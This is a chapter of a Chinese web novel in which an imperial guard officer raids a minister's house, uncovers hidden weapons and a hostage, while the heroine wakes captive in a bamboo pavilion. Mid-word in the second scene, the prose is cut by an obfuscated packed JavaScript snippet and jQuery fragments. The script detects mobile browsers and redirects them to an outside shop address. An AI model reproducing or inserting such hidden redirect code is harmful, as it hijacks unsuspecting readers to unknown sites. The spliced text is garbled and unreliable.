40. 夜探林府(人质)
作品:《传说老板娘夫君身娇体弱》 林知蕴并没有恐惧。
相反,她挑衅似地挑起唇角,露出一个嘲讽的笑。
“秦砚,你不敢动我!”
背后有张家撑腰,这是林知蕴最大的底气。
百年来,魏国公府就如一棵参天巨树,给人一种永不消亡的可靠错觉。
这种错觉令张冲这样的纨绔嚣张跋扈,也让林知蕴这样的投机者一往无前。
然而张家,也不过是这个庞大帝国头上的一根粗枝而已。
秦砚没再看对面的少女一眼,转而冷冷看向林渊。
“林尚书,怎么说?”
林渊涩然笑了。
他还能如何?
拿书本的遇上拿刀的,不过听凭对方而已。
不过,他林渊这么多年的官场可不是白混的。
终究是你有你的刀,我有我的嘴罢了。
“秦大人既然铁了心冲冠一怒为红颜,本官又有什么好说的?”
他一甩袖子,朗声而笑。
一直以来仿佛标签般贴在他身上的圆滑气息尽数褪去,展现出那种独属于文官的风骨与傲然。
“秦大人尽管搜,不过……若是搜不出什么,倒要你领教一下,我文臣的笔。”
他这么些年宦海沉浮,刻意与张家走得疏远,借着在士林中的声名与威望,广结天下有识之士,也算是闯出了另一番格局。
别的不敢说,督察院御使的笔墨,他林渊总能借到些的。
秦砚冷然颔首。
“早听说林大人博览群书,有张仪、苏秦之才。”
“若是今日无事,这弹劾的奏章我秦砚自是收得。”
“但林大人可曾想过,若是搜出什么……”
他唇角微微扯动,却很快又恢复了一脸默然。
“若贵府中,真有了不得的东西,你当如何保住一家上下?”
秦砚有些意味深长地瞥了林知蕴一眼。
林渊自然懂得秦砚的意思。
若还是先前那个乖巧懂事的林知蕴,他自然不必担心。
可他刚亲眼见识到林知蕴身上藏着的,尖锐与疯狂,林渊忽然就不敢确信了……
“报!”
仿佛是在印证林渊的忧虑,去后院搜索的锦衣卫小旗忽地跑了回来。
秦砚做了一个“但说无妨”的手势。
那小旗便低头抱拳。
“禀报副指挥使,后院下人房内,有人私藏军中兵器,现已收缴。兵器持有者尚未寻到。”
小旗回头挥手,便有几人抬着一只朱漆长箱,箱盖被人暴力打开,里面装满了刀枪剑戟等武器。
秦砚随手从里面拎出一杆长枪来,果见那长枪的枪杆上,还写着一个篆体的“魏”字。
只听“当啷”一声巨响,却是秦砚将长枪扔在了林知蕴脚边。
林知蕴全无反应,只定定站在原地,面无表情遥遥瞪着秦砚。
只有林夫人张悦宜被吓了一跳,“啊”地躲在了林渊身后。
林渊的脸色苍白,伸手牢牢搂住自家夫人,神色不可置信地看向林知蕴。
几件兵器而已,其实许多勋贵王侯的家里都有。
毕竟家里有武将,只要说一句,主人战场上用惯了的,便极少有人追究。
但文臣却不同。
文臣家里出现这样的东西,便绝说不过去了。
更何况,还是打上军中印记的兵器?
那可是妥妥的违禁物品。
秦砚冷然一笑,朝着身边的小旗摆手。
“好,再探!”
便是冲着这一箱兵器,他此次搜府也算是师出有名。
秦砚没再理会林家三人,反而让人端了太师椅,坐在廊下喝起茶来。
很快,后院便再次传来了消息。
“报!林府护院拒捕,已斩杀七人,余者受缚。”
“报!林府两名家丁,欲翻墙逃离,被外围看守的衙署擒获,确认为呈王府刺客党羽,已押回诏狱待审。”
“报!林府丫鬟夏凉,形迹可疑,经查其物品,有一淡粉色破损衣物,与悦来客栈天字号房证物有关,已押回诏狱待审。”
“报!林府侍卫张大强,拒不投降,已率人躲进后院竹楼,要求见副指挥使……”
秦砚一直面无表情坐在太师椅上,仿佛老僧入定。
直到此刻,他手中握着的茶杯,方才晃了晃。
“喔?”
茶杯被轻放在旁边的八仙桌上,秦砚抬起头,眸中射出一道寒光。
“他们手里有人质?”
“庄千户在他们手里……”
那报信的小旗紧抿着嘴唇,杀气腾腾看了旁边的林家三人一眼,愤然道。
“已经被打得昏迷不醒,不知……伤势如何了。”
秦砚其实只是看起来平静而已。
此时他的内心极为焦灼。
比起这些所谓的“证据”,秦砚其实更想听到林知夭和庄九的消息。
庄九还好些,皮糙肉厚又有武功傍身,顶多吃些苦头罢了。
可林知夭却是个娇滴滴的小姑娘。
白天才刚受了惊吓不说,如今又是春寒料峭,黑灯瞎火。
便是将她一个人放在外面,秦砚都有些不放心。
莫说这里还是林府,全府上下,都是林知蕴的属下。
然而人总是这样,越是着急,就越是等不到想要的。
秦砚便不得不耐着性子,喝起茶来。
他怕自己会关心则乱,一刀杀了林知蕴这个祸害。
那样非但于此时的危机无益,反倒是打草惊蛇,坏了陛下的大计。
果然如师父说的一样,他这养气的功夫,练得还不到家。
此时听见了庄九的消息,秦砚不由精神一阵,总算从太师椅上站起了身。
直觉告诉他,林知夭与庄九应该在一起。
“听说这张大强当初被张家收编前,乃是永州江湖上一大恶霸,烧杀抢掠无恶不作,手里握有几百条人命……”
他伸手抚上腰间的刀柄,刀未出鞘,寒气却已迫人。
“今天我便要看看,究竟是我锦衣卫的绣春刀快,还是他的九环刀威风。”
刚走了两步,秦砚蓦地又顿住,回头看向身后。
林知蕴面色惨白,眸光却依然充满挑衅;
林夫人小鸟依人,缩在林渊怀中啜泣;
而林渊,这位先前还一派名士风骨的尚书大人,早已面如死灰。
先前那小旗上报的种种:私藏兵器、对抗锦衣卫、丫鬟形迹可疑、收容朝廷钦犯、私设牢狱拘捕锦衣卫官员……
这些早已够他全家死好几次了。
更何况,如今自家的侍卫竟然抓了个锦衣卫的千户……当人质?
更可怖的是……
若非锦衣卫今日忽然闯入,自家后院发生的一切,他还要被蒙在鼓里。
林知蕴,当真是他林渊的好女儿!
林渊抬手便要往林知蕴脸上打去,却被秦砚叫住了。
“林大人,先莫要急着打……”
秦砚牵了牵唇角,脸上腾起一片杀意。
“不如先跟来看看热闹,再想如何……给陛下交代罢!”
他暂时的确不能动林知蕴,也不会动林家。
但也得让对方好好记住才是。
他要在林知蕴面前斩去她所有的势力,断掉她所有的希望。
他就是要让林知蕴痛苦、悔恨、在心里埋下永远的恐惧。
敢动他的人,必须付出代价!
***
林知夭艰难地睁开眼睛。
映入眼帘的,是竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791719|188561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼略有些泛黄的古朴棚顶。
与其说,这是竹楼,还不如说是一座竹亭。
因为这里根本没有窗子,透过四角房檐下的空档,能看见外面繁星满布的夜空。
先前被抓来时,她曾远远见过这座竹亭,就在林府的竹林旁。
二层是观景的亭子,而一层却是玲珑小巧的屋舍,适合围炉煮茶。
林知夭如今便躺在二层的亭子里,庄九被扔在她身旁,浑身是伤。
先前张大强提着刀走到身后时,林知夭真的以为她要死了。
可没想到,林知蕴为了亲眼看着她死,竟只是将她暂时敲晕,扔在了这里。
早春的夜里还是有些凉,林知夭衣服全是湿的,加上先前的那番折腾,此时只觉得浑身乏力,脑袋一抽一抽地疼。
身体的感觉告诉她,她现在发烧了,且体温很高。
好在二楼现在并没有人看守,让她紧张得心情暂时放松下来。
林知夭艰难地撑起身体,爬到庄九的身边。
“庄九……”
她一边小声地喊,一边伸手推了推。
庄九“呜咽”了一声,身体像小猫般蜷缩起来,人却没有醒,继续浑浑噩噩地昏睡着。
林知夭吓得连忙缩回手。
应该是先前碰到了他的伤。
这少年此时浑身到处是伤,让不懂得任何急救常识的林知夭,有些手足无措。
她跑去凉亭边看了一眼。
这里只有二层楼,距离地面也不高,若是想逃走,如今却是最好的时机。
否则等林知蕴忙完了回来,便是她和庄九的死期。
可庄九这小子个头大又死沉,她总不能将人从二楼扔下去吧?
然而还没等林知夭细想,楼下蓦地传来了一片喊杀声。
紧接着,便是“嗖嗖”的箭响,甚至有一支,“咚”地钉在了凉亭顶上。
楼下有人发出痛苦的哀嚎,显然是中了箭矢,旋即又有人骂骂咧咧走上二层来。
纳是一个身材魁梧的护院,先前和张大强同来抓她的。
护院仿佛很焦急。
他见林知夭醒了,理也未理,直接将地上昏迷的庄九拎起来,就要往楼下带。
林知夭还有些发懵。
但这丝毫没影响她动手的速度。
就在护院转身的一刹那,她从地上抄起一样东西,猛地朝那人后脑砸去。
林知夭这一砸,是使出了吃奶力气的。
庄九是为了救她变成这样的,她绝不能让庄九被这些人带走。
直到“砰”的巨响传来,林知夭才感受到手中东西的重量。
那竟是一块砚台,不知被谁顺手扔到了墙角。
她原本想扶住庄九的,却无奈力气太小,让庄九和那人一起滚在了地上。
这时她手上方才传来黏腻的触感。
林知夭缩回一看,一手血。
这是她头回见到人血,还是她打的。
眼看着那护卫直挺挺瘫在地上,鲜血一滴滴流出来,林知夭只觉得心里发毛。
杀……杀人了!
完了完了,不会被帽子蜀黍抓起来吧?
呜呜呜呜……
即便是明知道这人死不足惜,可林知夭还是惊恐到浑身发抖。
两名成年男子并一块砚台砸在地上,早就惊动了楼下的人。
很快楼梯上又传来了脚步声……
林知夭手脚发软,一屁股坐在地上,眼泪不由自主又开始往下流。
先前她打人,不过是凭着一腔孤勇,可如今那股冲动过去,她却连站都要站不起来了。
怎么办?
这回有了同伴的教训,来人绝不会再给她拍砚台的机会。
这是要撕票的节奏啊?
她的小命休矣!

